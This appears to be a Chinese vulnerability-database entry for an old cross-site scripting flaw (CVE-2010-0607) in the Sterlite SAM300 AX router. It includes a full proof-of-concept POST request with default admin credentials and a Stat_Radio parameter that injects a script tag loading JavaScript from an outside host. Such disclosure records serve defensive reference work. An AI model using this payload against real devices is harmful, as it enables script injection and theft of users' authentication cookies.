Sterlite SAM300 AX 路由 'Forms/status_statistics_1'跨站脚本攻击漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1118969 漏洞类型 跨站脚本
发布时间 2010-02-04 更新时间 2010-02-04
CVE编号 CVE-2010-0607 CNNVD-ID CNNVD-201002-115
漏洞平台 Hardware CVSS评分 4.3
|漏洞来源
https://www.exploit-db.com/exploits/33938
https://www.securityfocus.com/bid/39928
https://cxsecurity.com/issue/WLB-2010020026
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-201002-115
|漏洞详情
SterliteSAM300AX路由功能Forms/status_statistics_1存在跨站脚本攻击漏洞。远程攻击者可以借助Stat_Radio参数注入任意web脚本和HTML。
|漏洞EXP
source: http://www.securityfocus.com/bid/39928/info

The Sterlite SAM300 AX Router is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

*+POST Request+*

POST http://192.168.1.1/Forms/status_statistics_1 HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.7)
Gecko/20091221 Firefox/3.5.7 Paros/3.2.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://192.168.1.1/status/status_statistics.htm
Authorization: Basic YWRtaW46YWRtaW4=
Content-Type: application/x-www-form-urlencoded
Content-length: 101

*+POST Parameters+*

Stat_Radio=%3CSCRIPT%20SRC%3Dhttp%3A%2F%2Fha.ckers.org
%2Fxss.js%3E%3C%2FSCRIPT%3E&StatRefresh=REFRESH

*+Impact+*
|受影响的产品
Sterlitetechnologies SAM300 AX Router 0
|参考资料

来源:SECUNIA
名称:38463
链接:http://secunia.com/advisories/38463
来源:MISC
链接:http://packetstormsecurity.org/1002-exploits/sterlite-xss.txt
来源:OSVDB
名称:62211
链接:http://osvdb.org/62211
来源:FULLDISC
名称:20100204SterliteSAM300AXADSLrouter-CrossSite
链接:http://marc.info/?l=full-disclosure&m=126531284626756&w=2